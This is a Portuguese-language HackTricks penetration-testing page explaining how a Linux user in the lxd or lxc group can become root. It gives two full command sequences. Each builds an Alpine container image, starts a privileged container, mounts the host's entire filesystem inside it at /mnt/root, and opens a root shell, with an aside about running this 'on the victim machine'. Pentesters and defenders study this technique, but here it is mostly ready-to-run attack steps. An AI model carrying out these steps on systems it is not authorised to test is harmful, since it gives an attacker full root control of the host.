# lxd/lxc Group - Escalação de privilégios {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %} Se você pertence ao grupo _**lxd**_ **ou** _**lxc**_, você pode se tornar root ## Explorando sem internet ### Método 1 Você pode instalar em sua máquina este construtor de distro: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(siga as instruções do github): ```bash sudo su # Install requirements sudo apt update sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools # Clone repo git clone https://github.com/lxc/distrobuilder # Make distrobuilder cd distrobuilder make # Prepare the creation of alpine mkdir -p $HOME/ContainerImages/alpine/ cd $HOME/ContainerImages/alpine/ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml # Create the container ## Using build-lxd sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18 ## Using build-lxc sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18 ``` Faça o upload dos arquivos **lxd.tar.xz** e **rootfs.squashfs**, adicione a imagem ao repositório e crie um contêiner: ```bash lxc image import lxd.tar.xz rootfs.squashfs --alias alpine # Check the image is there lxc image list # Create the container lxc init alpine privesc -c security.privileged=true # List containers lxc list lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true ``` {% hint style="danger" %} Se você encontrar este erro _**Erro: Nenhum pool de armazenamento encontrado. Por favor, crie um novo pool de armazenamento**_\ Execute **`lxd init`** e **repita** o bloco anterior de comandos {% endhint %} Finalmente, você pode executar o contêiner e obter root: ```bash lxc start privesc lxc exec privesc /bin/sh [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted ``` ### Método 2 Crie uma imagem Alpine e inicie-a usando a flag `security.privileged=true`, forçando o contêiner a interagir como root com o sistema de arquivos do host. ```bash # build a simple alpine image git clone https://github.com/saghul/lxd-alpine-builder cd lxd-alpine-builder sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine sudo ./build-alpine -a i686 # import the image lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail. # before running the image, start and configure the lxd storage pool as default lxd init # run the image lxc init myimage mycontainer -c security.privileged=true # mount the /root into the image lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true ``` {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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